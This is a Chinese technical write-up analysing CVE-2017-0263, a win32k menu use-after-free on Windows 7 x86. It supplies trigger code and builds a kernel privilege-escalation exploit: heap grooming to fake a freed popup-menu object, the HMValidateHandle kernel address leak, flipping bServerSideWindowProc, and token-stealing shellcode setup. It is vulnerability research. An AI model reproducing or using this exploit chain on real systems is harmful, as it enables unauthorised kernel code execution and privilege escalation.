传送门:从 CVE-2017-0263 漏洞分析到菜单管理组件(上)
CVE-2017-0263 是 Windows 操作系统 win32k
内核模块菜单管理组件中的一个 UAF(释放后重用)漏洞,据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。这篇文章将对用于这次攻击的样本的 CVE-2017-0263 漏洞部分进行一次简单的分析,以整理出该漏洞利用的运作原理和基本思路,并对 Windows 窗口管理器子系统的菜单管理组件进行简单的探究。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
0x3 触发
接下来通过构造验证代码使系统在调用 xxxMNEndMenuState
函数释放根弹出菜单对象之后并在重置当前线程信息对象的成员域 pMenuState
之前,使线程的执行流再次进入 xxxMNEndMenuState
函数调用,致使触发对目标成员域 pGlobalPopupMenu
指向对象的重复释放。
在用户进程中首先为验证代码创建单独的线程,利用代码的主体任务都在新线程的上下文中执行。在原有的主线程中监听全局变量 bDoneExploit
是否被赋值以等待下一步操作。
验证代码首先通过调用 CreatePopupMenu
等函数创建两个非模态的可弹出的菜单对象。由于模态的菜单将导致线程在内核中进入函数 xxxMNLoop
的循环等待状态,导致无法在同一线程中执行其他操作,对漏洞触发造成难度,因此我们选择非模态的菜单类型。这里的可弹出的菜单对象不是前面提到的 tagPOPUPMENU
类型的对象,而是带有 MFISPOPUP
标志位状态的 tagMENU
对象。结构体 tagMENU
是菜单对象的实体,而 tagPOPUPMENU
是用来描述菜单对象实体的弹出状态的对象,在菜单对象实际弹出时创建、菜单对象结束弹出状态时销毁,需要注意两者的区别。
接下来通过 AppendMenuA
为两个菜单添加菜单项,并使第二个成为第一个的子菜单。
LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
创建并关联两个菜单对象的验证代码
接下来创建一个普通的窗口对象 hWindowMain
以在后续菜单弹出时作为弹出菜单的拥有者窗口对象。如果编译时选择 GUI 界面程序,则获取默认的窗口对象句柄即可,这一步就不需要创建额外的窗口对象了。
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
创建用来拥有弹出菜单的主窗口对象的验证代码
通过函数 SetWindowsHookExW
创建类型为 WH_CALLWNDPROC
关联当前线程的挂钩程序,并通过 SetWinEventHook
创建范围包含 EVENT_SYSTEM_MENUPOPUPSTART
的关联当前进程和线程的事件通知消息处理程序。前面已经提到,设置 WH_CALLWNDPROC
类型的挂钩程序会在每次线程将消息发送给窗口对象之前调用。事件通知 EVENT_SYSTEM_MENUPOPUPSTART
表示目标弹出菜单已被显示在屏幕上。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
创建消息挂钩和时间通知程序的验证代码
验证代码调用函数 TrackPopupMenuEx
使第一个菜单作为根菜单在创建的窗口中弹出。
TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);
调用函数 TrackPopupMenuEx 的验证代码
接着通过调用 GetMessage
和 DispatchMessage
等函数在当前线程中实现消息循环。
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
实现消息循环的验证代码
在函数 TrackPopupMenuEx
执行期间,系统调用函数 xxxCreateWindowEx
创建新的菜单类型的窗口对象。就像前面的章节提到的那样,创建窗口对象成功时,函数向该窗口对象发送 WM_NCCREATE
消息。在函数 xxxSendMessageTimeout
调用对象指定的消息处理程序之前,还会调用 xxxCallHook
函数用来调用先前由用户进程设定的 WH_CALLWNDPROC
类型的挂钩处理程序。这时执行流会回到我们先前在验证代码中定义的挂钩处理函数中。
在自定义挂钩处理函数 xxWindowHookProc
中,我们根据参数lParam
指向tagCWPSTRUCT
对象的成员域message
判断当前处理的消息是否为 WM_NCCREATE
消息,不是的情况则直接忽略。接下来根据窗口句柄获取窗口对象的类名称,当类名称为 #32768
时,表示这是创建的菜单窗口对象,因此将该句柄记录下来以备后续引用。
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
static HWND hwndMenuHit = 0;
if (cwp->message != WM_NCCREATE)
{
return CallNextHookEx(0, code, wParam, lParam);
}
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768"))
{
hwndMenuHit = cwp->hwnd;
}
return CallNextHookEx(0, code, wParam, lParam);
}
在挂钩处理程序中记录 #32768 窗口的句柄
在目标菜单窗口对象创建完成时,系统在内核中设置窗口对象的位置坐标并使其显示在屏幕上。在这期间,系统为该窗口对象创建关联的类型为 SysShadow
的阴影窗口对象。同样地,创建阴影窗口对象并发送 WM_NCCREATE
消息时,系统也会调用 xxxCallHook
函数来分发调用挂钩程序。
前面章节的“终止菜单”部分的分析已知,在函数 xxxEndMenuLoop
调用期间,系统对每个弹出菜单窗口对象都调用了两次 xxxRemoveShadow
函数。这将导致在到达漏洞触发位置之前阴影窗口被提前取消关联和销毁。因此我们要想办法为成员域 uButtonDownHitArea
存储的目标菜单窗口对象创建并关联至少 3 个阴影窗口对象。
回到验证代码的自定义挂钩处理函数中,在判断窗口类名称的位置增加判断是否为 SysShadow
的情况。如果命中这种情况,我们通过调用函数 SetWindowPos
对先前保存句柄指向的类名称为 #32768
的窗口对象依次设置 SWP_HIDEWINDOW
和 SWP_SHOWWINDOW
状态标志,使窗口先隐藏后显示,再次触发内核中添加阴影窗口关联的逻辑以创建新的阴影窗口对象。
在执行流进入自定义挂钩处理函数的 SysShadow
处理逻辑时,在内核中正处于创建阴影窗口的 xxxCreateWindowEx
执行期间,此时创建的阴影窗口对象和原菜单窗口对象还没有关联起来,它们的关联关系尚未被插入 gpShadowFirst
链表中。此时对目标菜单对象调用 SetWindowPos
以设置 SWP_SHOWWINDOW
状态标志,将导致系统对目标菜单窗口创建并关联多个阴影窗口对象,后创建的阴影窗口对象将被先插入 gpShadowFirst
链表中,从而位于链表中更靠后的位置。
多阴影窗口关联的插入链表和位置顺序逻辑
在自定义挂钩处理函数的 SysShadow
处理逻辑中,对进入次数进行计数,对前 2 次进入的情况调用函数 SetWindowPos
以触发创建新的阴影窗口关联的逻辑;到第 3 次进入的情况时,我们通过调用函数 SetWindowLong
将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数。
if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
if (++iShadowCount == 3)
{
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
}
else
{
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
}
}
对目标菜单窗口对象创建多阴影窗口关联的验证代码
一切处理妥当后,需设置相关的全局标志以阻止执行流重复进入该自定义挂钩处理函数致使上面的逻辑代码被多次执行。
在内核函数 xxxTrackPopupMenuEx
中处理完成对根弹出菜单窗口对象的创建时,调用 xxxWindowEvent
函数以发送代表“菜单弹出开始”的 EVENT_SYSTEM_MENUPOPUPSTART
事件通知。这将进入我们先前设置的自定义事件通知处理函数 xxWindowEventProc
中。每当进入该事件通知处理程序时,代表当前新的弹出菜单已显示在屏幕中。
在验证代码的自定义事件通知处理函数 xxWindowEventProc
中进行计数,当第 1 次进入函数时,表示根弹出菜单已在屏幕中显示,因此通过调用函数 SendMessage
向参数句柄 hwnd
指向的菜单窗口对象发送 WM_LBUTTONDOWN
鼠标左键按下的消息,并在参数 lParam
传入按下的相对坐标。在 32 位系统中,参数 lParam
是一个 DWORD
类型的数值,其高低 16 位分别代表横坐标和纵坐标的相对位置,传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数 wParam
用户设定按下的是左键还是右键,设置为 1
表示 MK_LBUTTON
左键。
在内核中消息处理函数 xxxMenuWindowProc
接收并处理该消息,这将导致最终调用到函数 xxxMNOpenHierarchy
以创建新弹出的子菜单的相关对象。类似地,在处理完成新的子菜单在屏幕中的显示时,函数 xxxMNOpenHierarchy
调用函数 xxxWindowEvent
发送 EVENT_SYSTEM_MENUPOPUPSTART
事件通知。这使得执行流再次进入自定义事件通知处理函数 xxWindowEventProc
中。
当第 2 次进入函数 xxWindowEventProc
时,表示弹出的子菜单已在屏幕中显示。此时验证代码调用函数 SendMessage
向目标菜单对象发送 MN_ENDMENU
菜单终止的消息,这将导致执行流最终进入内核函数 xxxMNEndMenuState
中。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (++iMenuCreated >= 2)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}
事件通知处理函数发送消息的验证代码
执行流进入函数 xxxMNEndMenuState
时,线程关联的菜单状态对象成员域 uButtonDownHitArea
存储最后处理鼠标按下消息时按下坐标位于的窗口对象(即在先前被创建并关联了 3 个阴影窗口对象的菜单窗口对象)的指针。位于 gShadowFirst
链表中与该菜单窗口对象关联的最开始的 2 个阴影窗口已在函数 xxxEndMenuLoop
执行期间被解除关联并销毁,此时菜单中仍存在与该菜单窗口关联的最后 1 个阴影窗口关联节点,该阴影窗口对象就是当时被篡改了消息处理函数的阴影窗口对象。
函数在 MNFreePopup
中释放当前根弹出菜单对象之后调用函数 UnlockMFMWFPWindow
以解锁成员域 uButtonDownHitArea
存储的目标菜单窗口对象时,不出意外的话,此时该菜单窗口对象的锁计数归零,因此窗口管理器将调用该对象的销毁函数 xxxDestroyWindow
以执行对该对象的销毁任务。这将解除关联并销毁第 3 个关联的阴影窗口对象,并使执行流进入先前篡改的自定义消息处理函数中。
在验证代码的阴影窗口自定义消息处理函数 xxShadowWindowProc
中,判断消息参数是否为 WM_NCDESTROY
类型。如果是的话,则在此直接调用 NtUserMNDragLeave
系统服务。
ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)
{
__asm { mov eax, num };
__asm { int 2eh };
}
CONST UINT num_NtUserMNDragLeave = 0x11EC;
LRESULT WINAPI
xxShadowWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == WM_NCDESTROY)
{
xxSyscall(num_NtUserMNDragLeave, 0, 0);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
阴影窗口自定义消息处理函数的验证代码
函数 NtUserMNDragLeave
原本用于结束菜单的拖拽状态。在该函数执行期间,系统在进行一系列的判断和调用之后,最终在函数 xxxUnlockMenuState
中调用 xxxMNEndMenuState
函数:
bZeroLock = menuState->dwLockCount-- == 1;
if ( bZeroLock && ExitMenuLoop(menuState, menuState->pGlobalPopupMenu) )
{
xxxMNEndMenuState(1);
result = 1;
}
函数 xxxUnlockMenuState 调用 xxxMNEndMenuState 函数
这导致重新触达漏洞所在的位置并致使菜单状态对象的成员域 pGlobalPopupMenu
指向的根弹出菜单对象被重复释放,导致系统 BSOD 的发生。
根弹出菜单对象重复释放导致系统 BSOD 的发生
0x4 利用
前面的章节对漏洞原理进行分析并构造了简单的漏洞触发验证代码。在本章节中将利用该漏洞的触发,通过循序渐进的方式构造利用代码,最终实现利用和提权的目的。
初始化利用数据
在利用代码中自定义结构体 SHELLCODE
以存储与利用相关的数据:
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_CLS_lpszMenuName;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
PVOID tagCLS[0x100];
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
自定义的 SHELLCODE 结构体定义
在利用代码的早期阶段在用户进程中分配完整内存页的 RWX
内存块,并初始化相关成员域,将 ShellCode 函数代码拷贝到从成员域 pfnWindProc
起始的内存地址。
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));
初始化分配的 SHELLCODE 结构体内存区域
成员域 pfnWindProc
起始的内存区域将最终作为实际 ShellCode 函数代码在内核上下文执行。
伪造根弹出菜单对象
在用户进程验证代码的阴影窗口自定义消息处理函数 xxShadowWindowProc
执行期间,需要通过相关函数在内核中分配与 tagPOPUPMENU
结构体相同大小的缓冲区以占位刚释放的内存空隙,伪造新的弹出菜单对象,使系统误认为弹出菜单对象仍旧正常存在于内核中。
这在利用代码中将通过调用函数 SetClassLong
对大量的窗口对象设置 MENUNAME
字段的方式实现。这些窗口对象需要在首次调用函数 TrackPopupMenuEx
之前完成创建和初始化。
回到验证代码调用函数 TrackPopupMenuEx
之前创建菜单对象的位置,在此时机增加调用函数 CreateWindowEx
以创建大量窗口对象,并为每个窗口对象注册单独的窗口类。
for (INT i = 0; i < 0x100; ++i)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXW);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
RegisterClassExW(&Class);
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
hWindowList[iWindowCount++] = hwnd;
}
创建大量普通窗口对象的利用代码
接下来在验证代码的自定义阴影窗口消息处理函数 xxShadowWindowProc
中调用系统服务 NtUserMNDragLeave
之前,增加对前面批量创建的普通窗口对象设置 GCL_MENUNAME
的调用:
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = 0x00098208; //->flags
dwPopupFake[0x1] = 0xDDDDDDDD; //->spwndNotify
dwPopupFake[0x2] = 0xDDDDDDDD; //->spwndPopupMenu
dwPopupFake[0x3] = 0xDDDDDDDD; //->spwndNextPopup
dwPopupFake[0x4] = 0xDDDDDDDD; //->spwndPrevPopup
dwPopupFake[0x5] = 0xDDDDDDDD; //->spmenu
dwPopupFake[0x6] = 0xDDDDDDDD; //->spmenuAlternate
dwPopupFake[0x7] = 0xDDDDDDDD; //->spwndActivePopup
dwPopupFake[0x8] = 0xDDDDDDDD; //->ppopupmenuRoot
dwPopupFake[0x9] = 0xDDDDDDDD; //->ppmDelayedFree
dwPopupFake[0xA] = 0xDDDDDDDD; //->posSelectedItem
dwPopupFake[0xB] = 0xDDDDDDDD; //->posDropped
dwPopupFake[0xC] = 0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
为普通窗口对象设置 MENUNAME 字段的利用代码
由于 MENUNAME
字段属于 WCHAR
字符串格式,因此在初始化缓冲区时需要将所有数值设置为不包含连续 2 字节为 0
的情况。通过调用函数 SetClassLongW
为目标窗口对象设置 MENUNAME
字段时,系统最终在内核中为窗口对象所属的窗口类 tagCLS
对象的成员域 lpszMenuName
分配并设置 UNICODE
字符串缓冲区。
由于成员域 lpszMenuName
指向的缓冲区和弹出菜单 tagPOPUPMENU
对象的缓冲区同样是进程配额的内存块,因此两者所占用的额外内存大小相同,只需要将在利用代码中为每个窗口对象设置的 MENUNAME
缓冲区长度设置为与 tagPOPUPMENU
大小相同的长度,那么通常情况下在内核中总有一个窗口对象的 MENUNAME
缓冲区被分配在先前释放的根弹出菜单对象的内存区域中,成为伪造的根弹出菜单 tagPOPUPMENU
对象。
为使稍后位置调用的系统服务 NtUserMNDragLeave
能再次进入函数 xxxMNEndMenuState
调用,需要将伪造的 tagPOPUPMENU
对象的成员域 flags
进行稍微设置,将关键标志位置位,其余标志位置零。
kd> dt win32k!tagPOPUPMENU 0141fb44
[...]
+0x000 fIsTrackPopup : 0y1
[...]
+0x000 fFirstClick : 0y1
[...]
+0x000 fDestroyed : 0y1
+0x000 fDelayedFree : 0y1
[...]
+0x000 fInCancel : 0y1
[...]
+0x004 spwndNotify : 0xdddddddd tagWND
+0x008 spwndPopupMenu : 0xdddddddd tagWND
+0x00c spwndNextPopup : 0xdddddddd tagWND
+0x010 spwndPrevPopup : 0xdddddddd tagWND
+0x014 spmenu : 0xdddddddd tagMENU
+0x018 spmenuAlternate : 0xdddddddd tagMENU
+0x01c spwndActivePopup : 0xdddddddd tagWND
+0x020 ppopupmenuRoot : 0xdddddddd tagPOPUPMENU
+0x024 ppmDelayedFree : 0xdddddddd tagPOPUPMENU
+0x028 posSelectedItem : 0xdddddddd
+0x02c posDropped : 0xdddddddd
伪造的 tagPOPUPMENU 对象的成员域数据
伪造弹出菜单对象成员域
前面伪造的 tagPOPUPMENU
对象重新占用了先前释放的根弹出菜单对象的内存区域,并且其各个成员域在利用代码中分配时可以实施完全控制。但前面并未对其各个指针成员域进行有效性设置,这样一来在函数 xxxMNEndMenuState
中解锁各个指针成员域指向的对象时仍旧会触发缺页异常等错误。接下来通过对指针成员域进行设置,使其指向有效的内存空间,以使内核逻辑能够正常向后执行。
回到验证代码中创建作为弹出菜单拥有者的窗口对象 hWindowMain
的位置,增加创建新的用作利用载体的普通窗口对象 hWindowHunt
的代码:
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0x200;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSHUNT";
RegisterClassExW(&wndClass);
hWindowHunt = CreateWindowExW(0x00,
L"WNDCLASSHUNT",
NULL,
WS_OVERLAPPED,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
创建用来作为利用载体的窗口对象的利用代码
载体窗口对象 hWindowHunt
具有 0x200
字节大小的扩展区域,扩展区域紧随基础的 tagWND
对象其后,在利用代码中将用来伪造各种相关的内核用户对象,以使系统重新执行 xxxMNEndMenuState
期间,执行流能正常稳定地执行。
接下来通过 HMValidateHandle
内核对象地址泄露技术获取载体窗口对象的 tagWND
内核地址。窗口对象 tagWND
的头部结构是一个 THRDESKHEAD
成员结构体对象,完整的结构体定义如下:
typedef struct _HEAD {
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD {
HEAD head;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
typedef struct _DESKHEAD {
PVOID rpdesk;
PBYTE pSelf;
} DESKHEAD, *PDESKHEAD;
typedef struct _THRDESKHEAD {
THROBJHEAD thead;
DESKHEAD deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;
结构体 THRDESKHEAD 的定义
其中结构体 DESKHEAD
的成员域 pSelf
指向所属用户对象的内核首地址。因此通过该指针加上 tagWND
结构体的大小定位到当前窗口对象的扩展区域的内核地址。
根据代码分析,函数 xxxMNEndMenuState
在开始执行时调用函数 MNEndMenuStateNotify
用来在通知窗口对象所属线程和当前菜单状态所属线程不同的情况下,清理通知线程的线程信息对象的成员域 pMenuState
数值。然而不幸的是,由于伪造的 tagPOPUPMENU
对象已覆盖原有数据,因此需要继续伪造包括通知窗口对象在内的其他内核用户对象。
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04·0x1D
{
SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thead.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
填充载体窗口对象扩展区域的利用代码
将载体窗口对象的扩展区域预留 4
字节,将剩余 0x1FC
字节的内存区域全部填充为剩余内存区域的首地址,填充后的数值将作为各种对象成员域的句柄、引用计数或对象指针。
接下来将剩余内存区域 +0x44
字节偏移的内存数据作为伪造的内核用户对象头部结构,其地址被作为伪造的根弹出菜单 tagPOPUPMENU
对象的各个指针成员域的值。在利用代码的自定义阴影窗口消息处理函数 xxxShadowWindowProc
中替换原来的初始化 MENUNAME
字段缓冲区的利用代码:
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208; //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvHeadFake; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
更新的初始化 MENUNAME 缓冲区的利用代码
其中例外的成员域 ppopupmenuRoot
和 posSelectedItem
被填充为 0xFFFFFFFF
以防止执行流误入歧途。由于伪造对象头部 pvHeadFake
指向的内存区域对应的成员域 cLockObj
具有极大的数值,因此在内核中各个针对该伪造对象的解锁和解引用函数调用都不足以使系统为其调用销毁对象的函数,因此异常将不会发生。
在函数 xxxMNEndMenuState
第二次执行期间,在原位置重新分配的伪造根弹出菜单 tagPOPUPMENU
对象在函数 MNFreePopup
中释放。
内核地址泄露技术
本分析中使用了 HMValidateHandle
内核地址泄露技术。在 user32
模块中,在操作一些用户对象时,为了提升效率以便于直接在用户模式获取目标用户对象的数据,系统提供了未导出的函数 HMValidateHandle
以供模块内部使用。
这个函数接收用户句柄和对象类型作为参数,在内部对参数进行验证,验证通过时则返回目标对象在当前进程桌面堆中映射的地址。该函数并未导出,但在一些导出函数中调用,例如 IsMenu
函数。该函数验证通过参数传入的句柄是否为菜单句柄。函数通过将句柄值和菜单类型枚举 2
(TYPE_MENU
) 传入函数 HMValidateHandle
调用,并判断函数返回值是否不为空,并返回判断的结果。
.text:76D76F0E 8B FF mov edi, edi
.text:76D76F10 55 push ebp
.text:76D76F11 8B EC mov ebp, esp
.text:76D76F13 8B 4D 08 mov ecx, [ebp+hMenu]
.text:76D76F16 B2 02 mov dl, 2
.text:76D76F18 E8 73 5B FE FF call @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8 neg eax
.text:76D76F1F 1B C0 sbb eax, eax
.text:76D76F21 F7 D8 neg eax
.text:76D76F23 5D pop ebp
.text:76D76F24 C2 04 00 retn 4
函数 IsMenu 的指令片段
因此我们可以通过硬编码匹配的方式,从 user32
模块的导出函数 IsMenu
中查找并计算函数 HMValidateHandle
的地址。
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
break;
}
}
查找并计算 HMValidateHandle 函数地址的利用代码
目标函数查找到之后,在利用代码中需要获取窗口对象等类型用户对象的地址的时机调用该函数并传入对象句柄,调用成功时则返回目标对象在用户进程桌面堆中的映射地址。
#define TYPE_WINDOW 1
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}
获取目标窗口对象在桌面堆中的映射地址的利用代码
窗口对象的头部结构是一个 THRDESKHEAD
成员结构体对象,其中存在子成员域 pSelf
指向所属窗口对象的内核首地址。
内核模式代码执行
成员标志位 bServerSideWindowProc
位于 tagWND
对象标志成员域的第 18
位,其之前的两个标志位是bDialogWindow
和bHasCreatestructName
标志位:
kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x014 state : Uint4B
[...]
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
成员标志位 bServerSideWindowProc 在结构体中的位置
通过研究发现,在创建普通窗口对象时,如果样式参数 dwStyle
和扩展样式参数 dwExStyle
都传值为 0
默认值,那么在内核中成员域 bDialogWindow
和 bHasCreatestructName
都将未被置位。因此可以借助这个特性,实现对目标关键标志位的置位。
在利用代码中填充载体窗口对象的扩展区域内存期间,增加通过内核地址泄露技术获取窗口对象成员域 bDialogWindow
的地址的调用:
pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
获取窗口对象成员域 bDialogWindow 地址的利用代码
接着将在先前初始化的结构体 SHELLCODE
对象的成员域 pfnWindProc
起始地址设置为载体窗口对象 hWindowHunt
的消息处理函数:
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
修改载体窗口对象消息处理函数的利用代码
在利用代码的自定义阴影窗口消息处理函数 xxxShadowWindowProc
中初始化 MENUNAME
字段缓冲区数值时,将成员标志位 bDialogWindow
的地址减 4
字节偏移的地址作为伪造 tagPOPUPMENU
对象的某个窗口对象指针成员域(例如 spwndPrevPopup
成员域)的数值,使前面提到的三个标志位正好位于该指针成员域指向的“窗口对象”的锁计数成员域 cLockObj
的最低 3 比特位。
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
更新伪造弹出菜单对象的 spwndPrevPopup 成员域的利用代码
在函数 xxxMNEndMenuState
执行期间,系统为根弹出菜单对象的成员域 spwndPrevPopup
调用函数 HMAssignmentUnlock
以解除对目标窗口对象的赋值锁时,将直接对以成员标志位 bDialogWindow
地址起始的 32 位数值自减,这将使成员标志位 bServerSideWindowProc
置位:
+0x014 bDialogWindow : 0y1
+0x014 bHasCreatestructName : 0y1
+0x014 bServerSideWindowProc : 0y1
成员标志位 bServerSideWindowProc 由于自减被置位
由于成员标志位 bServerSideWindowProc
置位,载体窗口对象将获得在内核上下文直接执行窗口对象消息处理函数的能力。
ShellCode
ShellCode 函数代码将作为载体窗口对象的自定义消息处理函数在内核上下文直接执行。在构造 ShellCode 函数代码之前,首先对所需的数据进行初始化和赋值。
根据前面构造的利用代码,我们已实现漏洞触发后在函数 xxxMNEndMenuState
第二次执行期间不引发系统异常而成功执行,但第二次释放的根弹出菜单对象实际上是批量创建的普通窗口对象中某个窗口对象所属窗口类 tagCLS
对象的成员域 lpszMenuName
指向的缓冲区。这将导致在进程退出时销毁用户对象期间,系统在内核中释放目标窗口类对象成员域 lpszMenuName
时引发重复释放的异常,因此需要在 ShellCode 代码中将目标窗口类对象的成员域 lpszMenuName
置空。
在利用代码批量创建普通窗口对象期间,增加获取每个窗口对象的成员域 pcls
指向地址的语句,并将获取到的各个 pcls
指向地址存储在结构体 SHELLCODE
对象的成员数组 tagCLS[]
中。
static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
